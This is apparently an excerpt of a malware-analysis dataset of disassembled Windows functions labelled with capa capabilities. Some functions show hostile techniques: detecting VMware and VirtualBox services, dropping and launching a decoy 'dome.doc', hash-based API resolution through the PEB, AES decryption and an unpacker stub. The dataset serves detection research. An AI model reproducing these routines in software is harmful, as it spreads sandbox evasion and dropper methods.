joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140146530
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14006f8ca
sub rsp, rax
mov rax, qword [0x14018c040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14018ee70]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14014673d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140146689
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140146689
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140146669
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1401465f8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1401466fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14014675c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140146738
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14014675c
jmp 0x1401465ce
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140070798
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140a1df03
Capabilities:
Encode data using xor

Disassembly:
or r10d, r10d
mov qword [rsp], rsi
lea r10, [0x140a298e8]
mov esi, 0x2eb4c885
bswap rsi
movzx esi, byte [rdx]
push 0xffffffffcb18ae94
xor esi, eax
and esi, 0xff
mov esi, dword [r10 + rsi*4]
shr eax, 8
push 0x1034e51c
xor eax, esi
push 0xffffffffbaaad79a
sar word [rsp + 9], 0x82
inc rdx
or dword [rsp + 0x11], 0xda0ffaa8
xor eax, 0x73bb0893
dec rcx
lea rsp, [rsp + 0x18]
jne 0x140a1df11
mov esi, 0x1c88a98d
pop rsi
push 0x143a002e
not eax
mov dword [rbx], eax
jmp 0x140a25707
lea rsp, [rsp + 8]
jmp 0x140a24414

Function at 0x140a23ab8
Capabilities:
Encode data using xor

Disassembly:
mov rsi, qword [rsp + 8]
call fcn.140a1feab
mov rbp, qword [rdi]
mov rcx, qword [rbp + riz]
call fcn.140a2a208
push 0x60292105
mov r9, qword [rdi]
push 0x7501190d
mov r8, qword [rdi + 8]
add rdi, 0xc
not dword [rsp + 2]
xor ecx, ecx
or dword [rsp + 0xc], 0xf48d3681
test r8, r8
lea rsp, [rsp + 0x10]
je 0x140a23b41
mov eax, 0xd01986a2
neg al
push r10
lea rax, [0x140a21598]
mov r10d, 0x1db85115
sub r10w, r10w
movzx r10d, byte [r9 + r10 - 0x1db80000]
xor r10d, ecx
push 0x54a08997
and r10d, 0xff
mov r10d, dword [rax + r10*4]
shr ecx, 8
xor ecx, r10d
inc r9
xor ecx, 0x263d0f16
dec r8
lea rsp, [rsp + 8]
jne 0x140a23afc
pop r10
push 0xffffffffe62e479b
not ecx
jmp 0x140a2923c
Function at 0x18000cfa8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000cfd8
xor eax, eax
jmp 0x18000d09b
mov rbp, rbx
cmp word [rax], si
je 0x18000cffd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000cfe4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000cfe0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000cec8
movsxd r14, eax
test eax, eax
jne 0x18000d03b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000cfd1
mov rcx, r14
call fcn.180009b50
mov rdi, rax
test rax, rax
jne 0x18000d054
xor ecx, ecx
call fcn.180009b14
jmp 0x18000d030
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000cec8
test eax, eax
jne 0x18000d085
mov rcx, rdi
call fcn.180009b14
jmp 0x18000d08f
xor ecx, ecx
call fcn.180009b14
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800143e4
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x18000003c]
lea rsi, [0x180000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x18001445c
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x18001445c
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x18001445c
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x180014450
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x18001446e
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x18001443e
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x18001445e

Function at 0x180014920
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180014948
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180014948
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x100b96740
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100b9674d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100b9675d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100b96745
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x100b96775
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100b96762
sub eax, 3
jb 0x100b9678f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100b967c6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x100b967b6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100b967b4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100b967a3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.100b96702
jmp 0x100b9674d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x449b80
mov dl, 0x52
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x100b96812
cmp rsi, rcx
jae 0x100b9681a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x100b967f9
cmp al, 0x8f
ja 0x100b967f9
cmp byte [rsi - 2], 0xf
je 0x100b967ff
sub al, 0xe8
cmp al, 1
ja 0x100b967e3
cmp rsi, rcx
jae 0x100b9681a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x100b967e9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x100b9681a
lodsb al, byte [rsi]
jmp 0x100b967f9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xb92000]
mov eax, dword [rdi]
or eax, eax
je 0x100b96877
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xbca998]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100b96827
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100b96871
mov qword [rbx], rax
add rbx, 8
jmp 0x100b96847
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.100b968fa], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.100b968fa
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100b968ea
sub rsp, 0xffffffffffffff80
jmp 0x100002f90
Function at 0x141c98058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141c981df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141c98089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c9806f
add dl, dl
jne 0x141c98096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c980f6
xor eax, eax
add dl, dl
jne 0x141c980a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c981ad
add dl, dl
jne 0x141c980b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c980c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c980d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c980dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141c980ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141c9807e
mov eax, 1
add dl, dl
jne 0x141c98106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c98113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c980fb
sub eax, ebx
mov ebx, 1
jne 0x141c9814c
mov ecx, 1
add dl, dl
jne 0x141c9812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c9813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c98123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c9807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141c98168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c98175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c9815d
cmp eax, 0x7d00
jae 0x141c9819b
cmp eax, 0x500
jb 0x141c98196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c9807e
cmp eax, 0x7f
ja 0x141c9819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c9807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141c981d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141c9807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001c58
Capabilities:
Enumerate services

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140001d64
and dword [rsp + 0x70], 0
mov ebx, 0x10000
and dword [rsp + 0x60], 0
mov edx, ebx
and dword [rsp + 0x68], 0
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0x30
mov rcx, rsi
mov rbp, rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov r9, rbp
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea r8d, [rdx - 0x2d]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x140001d64
xor ebx, ebx
cmp dword [rsp + 0x60], ebx
jbe 0x140001d50
lea rdi, [rbx + rbx*2]
add rdi, rdi
lea rdx, str.VMware_Tools
mov rcx, qword [rbp + rdi*8 + 8]
call fcn.140007bcc
test rax, rax
jne 0x140001d5d
mov rcx, qword [rbp + rdi*8 + 8]
lea rdx, str.VMware
call fcn.140007bcc
test rax, rax
jne 0x140001d5d
mov rcx, qword [rbp + rdi*8 + 8]
lea rdx, str.Virtual_Machine
call fcn.140007bcc
test rax, rax
jne 0x140001d5d
mov rcx, qword [rbp + rdi*8 + 8]
lea rdx, str.VirtualBox_Guest
call fcn.140007bcc
test rax, rax
jne 0x140001d5d
inc ebx
cmp ebx, dword [rsp + 0x60]
jb 0x140001ce9
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x140001d67
mov eax, 1
jmp 0x140001d67
or eax, 0xffffffff
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002ad8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x140002b00
xor eax, eax
jmp 0x140002c22
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002b3a
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140002b3a
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, esi
mov byte [rdx], sil
jmp 0x140002c22
cmp qword [rbx + 0x80], 0
je 0x140002c20
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002b75
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002b98
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14000a500
cmp eax, edi
cmovne edi, esi
jmp 0x140002c20
lea r8, [rbp + 0x30]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + 0x38]
test eax, eax
js 0x140002c20
cmp eax, 1
jle 0x140002be6
cmp eax, 3
jne 0x140002c20
movsx ecx, byte [rbp - 0x30]
jmp 0x140002b82
mov r14, qword [rbp + 0x30]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x140002c10
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.14000d198
cmp r14, rax
jne 0x140002c20
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp + 0x38], rax
mov eax, esi
jne 0x140002c22
mov eax, edi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x1400032c4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000335d
cmp byte [rcx + 0x71], 0
je 0x14000335d
or edx, 0xffffffff
call fcn.140002ad8
cmp eax, 0xffffffff
je 0x14000331f
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x140003323
sub eax, 1
je 0x140003327
sub eax, 2
je 0x14000335d
xor al, al
jmp 0x14000335f
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140003354
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call fcn.14000d198
cmp rdi, rax
jne 0x14000331f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000335f
mov al, 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x14000412c
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.140008320
lea rdx, [rbp + 0x190]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1400042dc
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x80]
call fcn.140008320
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, [0x14003862c]
lea rcx, [rbp + 0x80]
call fcn.14000463c
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140001df0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001ee8
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
mov ebx, dword [rbp + rax - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140001e68
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.1400051d4
nop
test ebx, ebx
jne 0x14000421d
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
and qword [rsp + 0x30], 0
mov eax, 2
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1400042a3
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140008320
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x140004289
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x1400042a3
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400042dc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400042f1
call fcn.14000645c
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14000ddb8
int3
Function at 0x1400042f8
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rbx, rcx
mov dword [rbp - 0x20], 0x6d8e0
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400043e2
mov rcx, qword [rbp + 0x20]
lea rax, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400043e2
mov rcx, qword [rbp - 0x18]
lea rdx, [0x1400c4320]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400043e2
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov rcx, qword [rbp + 0x20]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400043e2
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400043e2
mov rcx, qword [rbp + 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400043f0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rax, qword gs:[0x30]
xor ebx, ebx
xor r9d, r9d
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov r10, qword [rdx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edx, dword [rax + r10 + 0x88]
add rdx, r10
mov eax, dword [rdx + 0x14]
mov r14d, dword [rdx + 0x1c]
mov r13d, dword [rdx + 0x20]
add r14, r10
mov r12d, dword [rdx + 0x24]
add r13, r10
mov r8d, dword [rdx + 0x18]
add r12, r10
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400044d6
movzx ecx, word [0x1400385c8]
cmp dword [r14 + r9*4], 0
je 0x1400044ce
mov ebp, r8d
xor r8d, r8d
test rbp, rbp
je 0x1400044c9
movzx esi, word [r12 + r8*2]
cmp rsi, r9
jne 0x1400044bc
mov r11d, dword [r13 + r8*4]
add r11, r10
xor edi, edi
jmp 0x1400044a7
mov edx, edi
mov eax, edi
shl eax, 0x19
shr edx, cl
mov edi, edx
or edi, eax
movsx eax, r15b
add edi, eax
inc r11
mov r15b, byte [r11]
test r15b, r15b
jne 0x140004491
cmp edi, dword [rsp + 0x40]
jne 0x1400044bc
mov ebx, dword [r14 + rsi*4]
add rbx, r10
inc r8
cmp r8, rbp
jb 0x14000447b
mov rax, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
inc r9
cmp r9, rax
jb 0x140004469
mov rax, rbx
mov rbx, qword [rsp + 0x58]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400125d0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400123f4
Function at 0x140006f7c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140006fb6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140006fbb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140007004
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140009520]
cmp byte [rcx + rax], 0
je 0x140007004
dec r8
sub rdx, 1
jne 0x140006fea
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140007eec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007f36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007f36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007f36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007f36
cmp dword [rcx + 0x84], 0xe
